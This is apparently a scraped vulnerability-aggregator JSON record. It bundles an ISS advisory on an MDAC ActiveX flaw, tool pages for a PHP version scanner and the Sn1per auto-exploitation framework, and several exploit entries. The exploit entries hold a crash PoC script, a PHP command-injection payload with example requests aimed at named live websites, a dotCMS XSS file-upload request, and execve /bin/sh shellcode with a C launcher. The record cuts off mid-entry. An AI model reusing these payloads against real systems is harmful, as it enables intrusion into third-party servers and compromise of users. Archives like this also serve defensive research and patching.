{"id": "SECURITYVULNS:DOC:12174", "bulletinFamily": "software", "title": "ISS prtoection Brief: Microsoft MDAC Remote Code Execution", "description": "-----BEGIN PGP SIGNED MESSAGE-----\r\n\r\nInternet Security Systems Security Brief\r\nApril 11, 2006\r\n\r\nMicrosoft MDAC Remote Code Execution\r\n\r\nSummary: \r\nMicrosoft has issued an advisory for a vulnerability in Microsoft Data Access \r\nComponents. Specifically, the RDS.Dataspace ActiveX control provided with MDAC \r\nallows attackers to create malicious web pages and create objects with the \r\nsecurity context of the logged in user rather than the Internet Explorer DOM.\r\n\r\nBusiness Impact:\r\n\r\nCompromise of the operating system can lead to exposure of \r\nconfidential information, loss of productivity, and further network \r\ncompromise. Successful exploitation of this vulnerability could \r\nbe used to gain unauthorized access to one.s networks and machines.\r\n\r\nDescription:\r\n\r\nIt is possible to instantiate the RDS.Dataspace ActiveX control and not \r\nhave it associated with the Internet Explorer DOM. In doing so, it assumes \r\nthe security context of the currently logged on user and not the DOM. Under \r\nthis security context, functionality that is typically limited within \r\nthe DOM is now fully operational. Attackers may leverage this increased \r\nprivileged security context to execute commands on the target system. \r\n\r\nExploitation of this vulnerability requires the Internet Explorer \r\nuser to browse to a malicious page. Attackers may attempt to lure \r\nusers via phishing emails.\r\n\r\nFor the complete ISS X-Force Security Alert, please visit:\r\nhttp://xforce.iss.net/xforce/alerts/id/219\r\n_______________________________________________________________________________\r\n\r\nAbout Internet Security Systems, Inc.\r\nInternet Security Systems, Inc. (ISS) is the trusted security advisor to \r\nthousands of the world.s leading businesses and governments, providing \r\npreemptive protection for networks, desktops and servers. An established \r\nleader in security since 1994, ISS. integrated security platform \r\nautomatically protects against both known and unknown threats, keeping \r\nnetworks up and running and shielding customers from online attacks before \r\nthey impact business assets. ISS products and services are based \r\non the proactive security intelligence of its X-Force\u00ae research and \r\ndevelopment team . the unequivocal world authority in vulnerability and \r\nthreat research. ISS. product line is also complemented by \r\ncomprehensive Managed Security Services. For more information, visit \r\nthe Internet Security Systems Web site at www.iss.net or call 800-776-2362.\r\n\r\nCopyright (c) 2006 Internet Security Systems, Inc. All rights reserved\r\nworldwide.\r\n\r\nThis document is not to be edited or altered in any way without the\r\nexpress written consent of Internet Security Systems, Inc. If you wish\r\nto reprint the whole or any part of this document, please email\r\n\r\n\r\nxforce@iss.net for permission. You may provide links to this document\r\nfrom your web site, and you may make copies of this document in\r\naccordance with the fair use doctrine of the U.S. copyright laws. \r\n\r\nDisclaimer: The information within this paper may change without notice.\r\nUse of this information constitutes acceptance for use in an AS IS\r\ncondition. There are NO warranties, implied or otherwise, with regard to\r\nthis information or its use. Any use of this information is at the\r\nuser's risk. In no event shall the author/distributor (Internet Security\r\nSystems X-Force) be held liable for any damages whatsoever arising out\r\nof or in connection with the use or spread of this information.\r\n\r\nX-Force PGP Key available on MIT's PGP key server and PGP.com's key\r\nserver, as well as at http://www.iss.net/security_center/sensitive.php\r\nPlease send suggestions, updates, and comments to: X-Force\r\n\r\n\r\nxforce@iss.net of Internet Security Systems, Inc.\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: 2.6.2\r\n\r\niQCVAwUBRDwCCzRfJiV99eG9AQEHxQP+OoGPrgFI+1Sp8svYNW4tdj76pAHc8KoE\r\npfn/OnEAbZyrtzIHrCc3VswbTzk4NxJBlBnEl2zogtmxU5B7uo0h89AW90782/ZY\r\nfCto2Tdy8EgNJ8qdYTybpb6peOssFSLQ7OSHlp6QVByWjH5NViVcdjp3RavNgGau\r\nKEICRvMAi50=\r\n=61AW\r\n-----END PGP SIGNATURE-----", "published": "2006-04-12T00:00:00", "modified": "2006-04-12T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:12174", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:17", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "9293acd795ed54cf90304e81217b129d"}, {"key": "href", "hash": "04f8966cd430d0b7a5e5f2d7c8e97787"}, {"key": "modified", "hash": "773bf503fec5a5995126f14f258c0c40"}, {"key": "published", "hash": "773bf503fec5a5995126f14f258c0c40"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "d574fedc99ec97840580460abb3d59f1"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "351706245654e7935a1120bf73c8e7a5c1d1a5c1e207b2db6348b62fb1646868", "viewCount": 6, "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2018-08-31T11:10:17"}, "dependencies": {"references": [{"type": "nessus", "idList": ["SLACKWARE_SSA_2019-044-01.NASL", "ILO_HPSBHF_02821.NASL", "KERNEL_BANNER_UNSUPPORTED.NASL", "ILO_HPSBHF_02939.NASL", "SLACKWARE_SSA_2019-043-01.NASL", "FEDORA_2019-1FB1547321.NASL", "FEDORA_2019-526EF126CD.NASL", "SAMBA_3_4_0.NASL", "SLACKWARE_SSA_2019-038-01.NASL", "PHOTONOS_PHSA-2017-0040_LIBTAR.NASL"]}, {"type": "mozilla", "idList": ["MFSA2019-06", "MFSA2019-04"]}, {"type": "debian", "idList": ["DEBIAN:DLA-1654-1:B472E"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310891654"]}, {"type": "threatpost", "idList": ["THREATPOST:260D48C8E6CF572D5CE165F85C7265E6"]}], "modified": "2018-08-31T11:10:17"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "affectedSoftware": []}

{"kitploit": [{"lastseen": "2019-05-22T01:22:03", "bulletinFamily": "tools", "description": "[  ](<https://3.bp.blogspot.com/-bhtqXim-vlU/XNZVo27BruI/AAAAAAAAO4w/wqhBjqL6XlksqzL4vzGsPPETuwmPfvkRwCLcBGAs/s1600/php.png>)\n\n \n\n\nVersionscan is a tool for evaluating your currently installed PHP version and checking it against known CVEs and the versions they were fixed in to report back potential issues. \n\n** PLEASE NOTE: ** Work is still in progress to [ adapt ](<https://www.kitploit.com/search/label/ADAPT> \"adapt\" ) the tool to [ linux ](<https://www.kitploit.com/search/label/Linux> \"linux\" ) distributions that backport security fixes. As of right now, this only reports back for the straight up version reported. \n\n \n** Installation ** \n \n** Using Composer ** \n\n \n \n {\n \"require\": {\n \"psecio/versionscan\": \"dev-master\"\n }\n }\n\nThe only current dependency is the Symfony console. \n \n** Usage ** \nTo run the [ scan ](<https://www.kitploit.com/search/label/Scan> \"scan\" ) against your current PHP version, use: \n` bin/versionscan ` \nThe script will check the ` PHP_VERSION ` for the current instance and generate the pass/fail results. The output looks similar to: \n\n \n \n Executing against version: 5.4.24\n +--------+---------------+------+------------------------------------------------------------------------------------------------------+\n | Status | CVE ID | Risk | Summary |\n +--------+---------------+------+------------------------------------------------------------------------------------------------------+\n | FAIL | CVE-2014-3597 | 6.8 | Multiple buffer overflows in the php_parserr function in ext/standard/dns.c in PHP before 5.4.32 ... |\n | FAIL | CVE-2014-3587 | 4.3 | Integer overflow in the cdf_read_property_info function in cdf.c in file through 5.19, as used in... |\n\nResults will be reported back colorized as well to easily show the pass/fail of the check. \n \n** Parameters ** \nThere are several parameters that can be given to the tool to configure its [ scans ](<https://www.kitploit.com/search/label/Scans> \"scans\" ) and results: \n \n** PHP Version ** \nIf you'd like to define a PHP version to check other than the one the script finds itself, you can use the ` php-version ` parameter: \n\n \n \n bin/versionscan scan --php-version=4.3.2\n\n \n** Report Only Failures ** \nYou can also tell the versionscan to only report back the failures and not the passing tests: \n\n \n \n bin/versionscan scan --fail-only\n\n \n** Sorting results ** \nYou can also sort the results either by the CVE ID or by severity (risk rating), with the ` sort ` parameter and either the \"cve\" or \"risk\" value: \n\n \n \n bin/versionscan scan --sort=risk\n\n \n** Output formats ** \nBy default _ versionscan _ will output information directly to the console in a human-readable result. You can also specify other output formats that may be easier to parse programatically (like JSON). Use the ` --format ` option to change the output: \n\n \n \n vendor/bin/versionscan scan --php-version=5.5 --format=json\n\nSupported output formats are ` console ` , ` json ` , ` xml ` and ` html ` . \nThe HTML output format requires an ` --output ` option of the directory to write the file: \n\n \n \n vendor/bin/versionscan scan --php-version=5.5 --format=html --output=/var/www/output\n\nThe result will be written to a file named something like ` versionscan-output-20150808.html ` \n \n \n\n\n** [ Download Versionscan ](<https://github.com/psecio/versionscan> \"Download Versionscan\" ) **\n", "modified": "2019-05-21T21:17:08", "published": "2019-05-21T21:17:08", "id": "KITPLOIT:3928947731225997712", "href": "http://www.kitploit.com/2019/05/versionscan-php-version-scanner-for.html", "title": "Versionscan - A PHP Version Scanner For Reporting Possible Vulnerabilities", "type": "kitploit", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2019-05-12T18:14:06", "bulletinFamily": "tools", "description": "[  ](<https://1.bp.blogspot.com/-Poffj1hNPBk/XNXfkZuyGfI/AAAAAAAAO0U/k4nQgdLXOoEZMOGlGb3wgnx8HgQzEtacgCLcBGAs/s1600/Sn1per_1_Sn1per.jpeg>)\n\n \n\n\nSn1per Community Edition is an [ automated scanner ](<https://www.kitploit.com/search/label/Automated%20scanner> \"automated scanner\" ) that can be used during a [ penetration test ](<https://www.kitploit.com/search/label/Penetration%20Test> \"penetration test\" ) to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes. For more information regarding Sn1per Professional, go to [ https://xerosecurity.com ](<https://xerosecurity.com/> \"https://xerosecurity.com\" ) . \n\n \n** SN1PER PROFESSIONAL FEATURES: ** \n \n** Professional reporting interface ** \n \n\n\n[  ](<https://2.bp.blogspot.com/-HnwS8O0KEik/XNXfrGJWPeI/AAAAAAAAO0Y/94Hl4CC3M_kytYKkKldzXNviz4ff92TVACLcBGAs/s1600/Sn1per_8.png>)\n\n \n** Slideshow for all gathered screenshots ** \n \n\n\n[  ](<https://2.bp.blogspot.com/-coOpsZX0XMM/XNXfuVNicUI/AAAAAAAAO0c/Wd2EQSAcI4Uti3bkaa1kxqajpStfjTK0ACLcBGAs/s1600/Sn1per_9.png>)\n\n \n** Searchable and sortable DNS, IP and open port database ** \n \n\n\n[  ](<https://4.bp.blogspot.com/-bfzb6vLbCks/XNXfy5vfkTI/AAAAAAAAO0g/9aO7_9YKrqMyWK3PehtfItlm4DZ6KWR4gCLcBGAs/s1600/Sn1per_10.png>)\n\n \n** Detailed host reports ** \n \n\n\n[  ](<https://4.bp.blogspot.com/-JbxR5Z-2O_4/XNXf2YbT_DI/AAAAAAAAO0o/w8Hin6Cbf1Ue4QbVW70T2-r1Rj82wDsSQCLcBGAs/s1600/Sn1per_11.png>)\n\n \n** NMap HTML host reports ** \n \n\n\n[  ](<https://2.bp.blogspot.com/-TYr4tFOy7Y4/XNXf7dXeSII/AAAAAAAAO0w/0YMKst5KHGoygojHG2r6tJxqkg2a-w1YQCLcBGAs/s1600/Sn1per_12.png>)\n\n \n** Quick links to online recon tools and Google hacking queries ** \n \n\n\n[  ](<https://1.bp.blogspot.com/-FNe1YF5mg68/XNXgAPQOAEI/AAAAAAAAO00/5uuuQo2KqRgwpTE11Z-U6p_XGetjCf9vgCLcBGAs/s1600/Sn1per_13.png>)\n\n \n** Takeovers and Email Security ** \n \n\n\n[  ](<https://2.bp.blogspot.com/-FNah2OwM_nU/XNXgEeJZG9I/AAAAAAAAO08/A7lu1554nJ0GpEOj7AtdZ_emSoyq5lBxQCLcBGAs/s1600/Sn1per_14.png>)\n\n \n** HTML5 Notepad ** \n \n\n\n[  ](<https://2.bp.blogspot.com/-DHOnECOz-T0/XNXgH_QX4JI/AAAAAAAAO1E/s0bFVC-Uf_87tBFY2AJwiJyHgKJ8VgKXQCLcBGAs/s1600/Sn1per_15.png>)\n\n \n** ORDER SN1PER PROFESSIONAL: ** \nTo obtain a Sn1per Professional license, go to [ https://xerosecurity.com ](<https://xerosecurity.com/> \"https://xerosecurity.com\" ) . \n \n** DEMO VIDEO: ** \n \n \n\n\n[  ](<https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm>)\n\n \n \n** SN1PER COMMUNITY FEATURES: ** \n\n\n * Automatically collects basic recon (ie. whois, ping, DNS, etc.) \n * Automatically launches Google hacking queries against a target domain \n * Automatically enumerates open ports via NMap port scanning \n * Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers \n * Automatically checks for sub-domain hijacking \n * Automatically runs targeted NMap scripts against open ports \n * Automatically runs targeted Metasploit scan and exploit modules \n * Automatically scans all web applications for common vulnerabilities \n * Automatically brute forces ALL open services \n * Automatically test for anonymous FTP access \n * Automatically runs WPScan, Arachni and Nikto for all web services \n * Automatically enumerates NFS shares \n * Automatically test for anonymous LDAP access \n * Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities \n * Automatically enumerate SNMP community strings, services and users \n * Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067 \n * Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers \n * Automatically tests for open X11 servers \n * Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds \n * Performs high level enumeration of multiple hosts and subnets \n * Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting \n * Automatically gathers screenshots of all web sites \n * Create individual workspaces to store all scan output \n \n** EXPLOITS: ** \n\n\n * Drupal RESTful Web Services unserialize() SA-CORE-2019-003 \n * Apache Struts: S2-057 (CVE-2018-11776): Security updates available for Apache Struts \n * Drupal: CVE-2018-7600: [ Remote Code Execution ](<https://www.kitploit.com/search/label/Remote%20Code%20Execution> \"Remote Code Execution\" ) \\- SA-CORE-2018-002 \n * GPON Routers - Authentication Bypass / [ Command Injection ](<https://www.kitploit.com/search/label/Command%20Injection> \"Command Injection\" ) CVE-2018-10561 \n * MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption \n * Apache Tomcat: Remote Code Execution (CVE-2017-12617) \n * Oracle WebLogic wls-wsat Component Deserialization Remote Code Execution CVE-2017-10271 \n * Apache Struts Content-Type arbitrary command execution (CVE-2017-5638) \n * Apache Struts 2 Framework Checks - REST plugin with XStream handler (CVE-2017-9805) \n * Apache Struts Content-Type arbitrary command execution (CVE-2017-5638) \n * Microsoft IIS WebDav ScStoragePathFromUrl Overflow CVE-2017-7269 \n * ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability CVE-2015-8249 \n * Shellshock Bash Shell remote code execution CVE-2014-6271 \n * HeartBleed OpenSSL Detection CVE-2014-0160 \n * MS12-020: Vulnerabilities in Remote Desktop Could Allow Remote Code Execution (2671387) \n * Tomcat Application Manager Default Ovwebusr Password Vulnerability CVE-2009-3843 \n * MS08-067 Microsoft Server Service Relative Path Stack Corruption \n * Webmin File Disclosure CVE-2006-3392 \n * VsFTPd 2.3.4 Backdoor \n * ProFTPd 1.3.3C Backdoor \n * MS03-026 Microsoft RPC DCOM Interface Overflow \n * DistCC Daemon Command Execution \n * JBoss Java De-Serialization \n * HTTP Writable Path PUT/DELETE File Access \n * Apache Tomcat User Enumeration \n * Tomcat Application Manager Login Bruteforce \n * Jenkins-CI Enumeration \n * HTTP WebDAV Scanner \n * Android Insecure ADB \n * Anonymous FTP Access \n * PHPMyAdmin Backdoor \n * PHPMyAdmin Auth Bypass \n * OpenSSH User Enumeration \n * LibSSH Auth Bypass \n * SMTP User Enumeration \n * Public NFS Mounts \n \n** KALI LINUX INSTALL: ** \n\n \n \n bash install.sh\n\n \n** UBUNTU/DEBIAN/PARROT INSTALL: ** \n\n \n \n bash install_debian_ubuntu.sh\n\n \n** DOCKER INSTALL: ** \n\n \n \n docker build Dockerfile\n\n \n** USAGE: ** \n\n \n \n [*] NORMAL MODE\n sniper -t|--target <TARGET>\n \n [*] NORMAL MODE + OSINT + RECON + FULL PORT SCAN + BRUTE FORCE\n sniper -t|--target <TARGET> -o|--osint -re|--recon -fp|--fullportonly -b|--bruteforce\n \n [*] STEALTH MODE + OSINT + RECON\n sniper -t|--target <TARGET> -m|--mode stealth -o|--osint -re|--recon\n \n [*] DISCOVER MODE\n sniper -t|--target <CIDR> -m|--mode discover -w|--workspace <WORSPACE_ALIAS>\n \n [*] FLYOVER MODE\n sniper -t|--target <TARGET> -m|--mode flyover -w|--workspace <WORKSPACE_ALIAS>\n \n [*] AIRSTRIKE MODE\n sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike\n \n [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED\n sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace <WORKSPACE_ALIAS>\n \n [*] SCAN ONLY SPECIFIC PORT\n sniper -t|--target <TA RGET> -m port -p|--port <portnum>\n \n [*] FULLPORTONLY SCAN MODE\n sniper -t|--target <TARGET> -fp|--fullportonly\n \n [*] PORT SCAN MODE\n sniper -t|--target <TARGET> -m|--mode port -p|--port <PORT_NUM>\n \n [*] WEB MODE - PORT 80 + 443 ONLY!\n sniper -t|--target <TARGET> -m|--mode web\n \n [*] HTTP WEB PORT HTTP MODE\n sniper -t|--target <TARGET> -m|--mode webporthttp -p|--port <port>\n \n [*] HTTPS WEB PORT HTTPS MODE\n sniper -t|--target <TARGET> -m|--mode webporthttps -p|--port <port>\n \n [*] WEBSCAN MODE\n sniper -t|--target <TARGET> -m|--mode webscan\n \n [*] ENABLE BRUTEFORCE\n sniper -t|--target <TARGET> -b|--bruteforce\n \n [*] ENABLE LOOT IMPORTING INTO METASPLOIT\n sniper -t|--target <TARGET>\n \n [*] LOOT REIMPORT FUNCTION\n sniper -w <WORKSPACE_ALIAS> --reimport\n \n [*] LOOT REIMPORTALL FUNCTION\n sniper -w <WORKSPACE_ALIAS& gt; --reimportall\n \n [*] DELETE WORKSPACE\n sniper -w <WORKSPACE_ALIAS> -d\n \n [*] DELETE HOST FROM WORKSPACE\n sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dh\n \n [*] SCHEDULED SCANS'\n sniper -w <WORKSPACE_ALIAS> -s daily|weekly|monthly'\n \n [*] SCAN STATUS\n sniper --status\n \n [*] UPDATE SNIPER\n sniper -u|--update\n\n \n** MODES: ** \n\n\n * ** NORMAL: ** Performs basic scan of targets and open ports using both active and passive checks for optimal performance. \n * ** STEALTH: ** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking. \n * ** FLYOVER: ** Fast multi-threaded high level scans of multiple targets (useful for collecting high level data on many hosts quickly). \n * ** AIRSTRIKE: ** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning. \n * ** NUKE: ** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke. \n * ** DISCOVER: ** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans. \n * ** PORT: ** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode. \n * ** FULLPORTONLY: ** Performs a full detailed port scan and saves results to XML. \n * ** WEB: ** Adds full automatic web application scans to the results (port 80/tcp &amp; 443/tcp only). Ideal for web applications but may increase scan time significantly. \n * ** WEBPORTHTTP: ** Launches a full HTTP web application scan against a specific host and port. \n * ** WEBPORTHTTPS: ** Launches a full HTTPS web application scan against a specific host and port. \n * ** WEBSCAN: ** Launches a full HTTP &amp; HTTPS web application scan against via Burpsuite and Arachni. \n \n** SAMPLE REPORT: ** \n[ https://gist.github.com/1N3/8214ec2da2c91691bcbc ](<https://gist.github.com/1N3/8214ec2da2c91691bcbc> \"https://gist.github.com/1N3/8214ec2da2c91691bcbc\" ) \n \n \n\n\n** [ Download Sn1per ](<https://github.com/1N3/Sn1per> \"Download Sn1per\" ) **\n", "modified": "2019-05-12T13:09:05", "published": "2019-05-12T13:09:05", "id": "KITPLOIT:7013881512724945934", "href": "http://www.kitploit.com/2019/05/sn1per-v70-automated-pentest-framework.html", "title": "Sn1per v7.0 - Automated Pentest Framework For Offensive Security Experts", "type": "kitploit", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "zdt": [{"lastseen": "2019-05-21T01:54:08", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-16T00:00:00", "published": "2019-05-16T00:00:00", "id": "1337DAY-ID-32724", "href": "https://0day.today/exploit/description/32724", "title": "ZOC Terminal v7.23.4 - (Shell) Denial of Service Exploit", "type": "zdt", "sourceData": "#Exploit Title: ZOC Terminal v7.23.4 - 'Shell' Denial of Service (PoC)\r\n#Discovery by: Victor Mondrag\u00f3n\r\n#Vendor Homepage: https://www.emtec.com\r\n#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe\r\n#Tested Version: 7.23.4\r\n#Tested on: Windows 7 Service Pack 1 x64\r\n\r\n#Steps to produce the crash:\r\n#1.- Run python code: ZOC_Terminal_sh.py\r\n#2.- Open zoc_sh.txt and copy content to clipboard\r\n#3.- Open ZOC Terminal\r\n#4.- Select Options > Program Settings... > Special Files\r\n#5.- Select \"Shell\" field erease the content and Paste ClipBoard \r\n#6.- Click on \"Save\"\r\n#7.- Select View > \"Command Shell\" and select \"ok\"\r\n#8.- Crashed\r\n\r\ncod = \"\\x41\" * 270\r\n\r\nf = open('zoc_sh.txt', 'w')\r\nf.write(cod)\r\nf.close()\n\n# 0day.today [2019-05-21] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32724"}, {"lastseen": "2019-05-14T12:00:33", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2019-05-14T00:00:00", "published": "2019-05-14T00:00:00", "id": "1337DAY-ID-32680", "href": "https://0day.today/exploit/description/32680", "title": "Firefly CMS 1.0 Remote Command Execution Exploit #RCE", "type": "zdt", "sourceData": "[+] Remote Comand Execution on Firefly CMS v. 1.0\r\n\r\n[+] Date: 11/05/2019\r\n\r\n[+] CWE number: CWE-78\r\n\r\n[+] Risk: High\r\n\r\n[+] Author: Felipe Andrian Peixoto\r\n\r\n[+] Contact: [email\u00a0protected]\r\n\r\n[+] Tested on: Windows 7 and Linux\r\n\r\n[+] Vendor Homepage: https://fireflydigital.com/\r\n\r\n[+] Vulnerable File: site.php\r\n\r\n[+] Version : 1.0\r\n\r\n[+] Exploit: http://host/patch/site.php?pageID={${system(%27id%27)}}\r\n\r\n[+] PoC: https://www.volalaw.com/site.php?pageID={${system(%27id%27)}}\r\n https://www.beltsforanything.com/site.php?pageID={${system(%27id%27)}}\r\n\r\n[+] Example Request:\r\n\r\n GET /site.php?pageID={${system(%27id%27)}} HTTP/1.1\r\n Host: www.volalaw.com\r\n User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3\r\n Accept-Encoding: gzip, deflate, br\r\n DNT: 1\r\n Connection: keep-alive\r\n Upgrade-Insecure-Requests: 1\r\n\r\n <html>\r\n <head>\r\n <title></title>\r\n <meta http-equiv=\"Content-Type\" content=\"text/html;\">\r\n <link rel=\"stylesheet\" href=\"bug.css\" type=\"text/css\">\r\n </head>\r\n <body text=\"#000000\" bgcolor=\"#F6EEE1\" link=\"#008080\" vlink=\"#808080\" alink=\"#000080\" background=\"templates/images/bkgd.jpg\">\r\n\r\n <table border=\"0\" width=\"100%\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\r\n <tr valign=\"top\"> \r\n <td class=\"body_links\">uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0\r\n </td>\r\n </tr>\r\n </table>\r\n </body>\r\n </html>\r\n\r\n[+] More About : http://cwe.mitre.org/data/definitions/78.html\n\n# 0day.today [2019-05-14] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32680"}, {"lastseen": "2019-05-16T01:56:45", "bulletinFamily": "exploit", "description": "Exploit for jsp platform in category web applications", "modified": "2019-05-10T00:00:00", "published": "2019-05-10T00:00:00", "id": "1337DAY-ID-32699", "href": "https://0day.today/exploit/description/32699", "title": "dotCMS 5.1.1 - HTML Injection Vulnerability", "type": "zdt", "sourceData": "# Exploit Title: dotCMS 5.1.1 - HTML Injection \r\n# Exploit Author: Ismail Tasdelen\r\n# Vendor Homepage: https://dotcms.com/\r\n# Software Link: https://github.com/dotCMS\r\n# Software: dotCMS\r\n# Product Version: 5.1.1\r\n# Vulernability Type: Code Injection\r\n# Vulenrability: HTML Injection and Cross-site Scripting\r\n# CVE: CVE-2019-11846\r\n\r\n# HTTP POST Request :\r\n\r\nPOST /servlets/ajax_file_upload?fieldName=binary3 HTTP/1.1\r\nHost: TARGET\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: https://TARGET/c/portal/layout?p_l_id=b7ab5d3c-5ee0-4195-a17e-8f5579d718dd&p_p_id=site-browser&p_p_action=1&p_p_state=maximized&angularCurrentPortlet=site-browser&p_p_mode=view&_site_browser_struts_action=%2Fext%2Fcontentlet%2Fedit_contentlet&_site_browser_cmd=new&selectedStructure=33888b6f-7a8e-4069-b1b6-5c1aa9d0a48d&folder=SYSTEM_FOLDER&referer=/c/portal/layout%3Fp_l_id%3Db7ab5d3c-5ee0-4195-a17e-8f5579d718dd%26p_p_id%3Dsite-browser%26p_p_action%3D0%26p_p_state%3Dmaximized%26angularCurrentPortlet%3Dsite-browser%26p_p_mode%3Dview%26_site_browser_struts_action%3D%252Fext%252Fbrowser%252Fview_browser&in_frame=true&frame=detailFrame&container=true&angularCurrentPortlet=site-browser\r\nContent-Type: multipart/form-data; boundary=---------------------------5890268631313811380287956669\r\nContent-Length: 101313\r\nDNT: 1\r\nConnection: close\r\nCookie: messagesUtk=2366e7c3b5af4c8c93bb11d0c994848a; BACKENDID=172.18.0.3; JSESSIONID=65C16EFBEE5B7176B22083A0CA451F0A.c16f6b7d05d9; hs-messages-hide-welcome-message=true; access_token=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJkZGFlZmEzNS0yYmMyLTQ4MTEtOTRjNi0xNGE0OTk4YzFkNDAiLCJpYXQiOjE1NTczOTY0NzYsInVwZGF0ZWRfYXQiOjEyMDQ4MjQ5NjEwMDAsInN1YiI6ImRvdGNtcy5vcmcuMSIsImlzcyI6IjRiNTkyYjIyLTBiMmEtNGI2ZC05NmU4LTdjMzBiMzgzOTM1ZiJ9.F8_L_Cu96pkYcwTl4ex_zfrA-Fk-rqNUz24oCV0gOmc; DWRSESSIONID=EZToDkzmi*mMXCayMxskFA75sGm\r\nUpgrade-Insecure-Requests: 1\r\n\r\n-----------------------------5890268631313811380287956669\r\nContent-Disposition: form-data; name=\"binary3FileUpload\"; filename=\"\\\"><img src=x onerror=alert(\\\"ismailtasdelen\\\")> .json\"\r\nContent-Type: application/json\r\n\r\n# HTTP Response :\r\n\r\nHTTP/1.1 200 \r\nContent-Length: 0\r\nDate: Thu, 09 May 2019 10:23:44 GMT\r\nConnection: close\n\n# 0day.today [2019-05-16] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32699"}, {"lastseen": "2019-05-16T01:57:23", "bulletinFamily": "exploit", "description": "Exploit for linux/x86 platform in category shellcode", "modified": "2019-05-08T00:00:00", "published": "2019-05-08T00:00:00", "id": "1337DAY-ID-32713", "href": "https://0day.today/exploit/description/32713", "title": "Linux/x86 - execve /bin/sh Shellcode (20 bytes)", "type": "zdt", "sourceData": "/*\r\n# Linux/x86 - execve /bin/sh shellcode (20 bytes)\r\n# Author: Rajvardhan\r\n# Tested on: i686 GNU/Linux\r\n# Shellcode Length: 20\r\n\r\nDisassembly of section .text:\r\n\r\n08049000 <.text>:\r\n 8049000: 31 c9 xor %ecx,%ecx\r\n 8049002: 6a 0b push $0xb\r\n 8049004: 58 pop %eax\r\n 8049005: 51 push %ecx\r\n 8049006: 68 2f 2f 73 68 push $0x68732f2f\r\n 804900b: 68 2f 62 69 6e push $0x6e69622f\r\n 8049010: 89 e3 mov %esp,%ebx\r\n 8049012: cd 80 int $0x80\r\n\r\n===============poc by Rajvardhan=========================\r\n*/\r\n\r\n#include<stdio.h>\r\n#include<string.h>\r\n\r\nunsigned char shellcode[] = \"\\x31\\xc9\\x6a\\x0b\\x58\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80\";\r\nmain()\r\n{\r\nprintf(\"Shellcode Length: %d\\n\", strlen(shellcode));\r\nint (*ret)() = (int(*)())shellcode;\r\nret();\r\n}\n\n# 0day.today [2019-05-16] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": 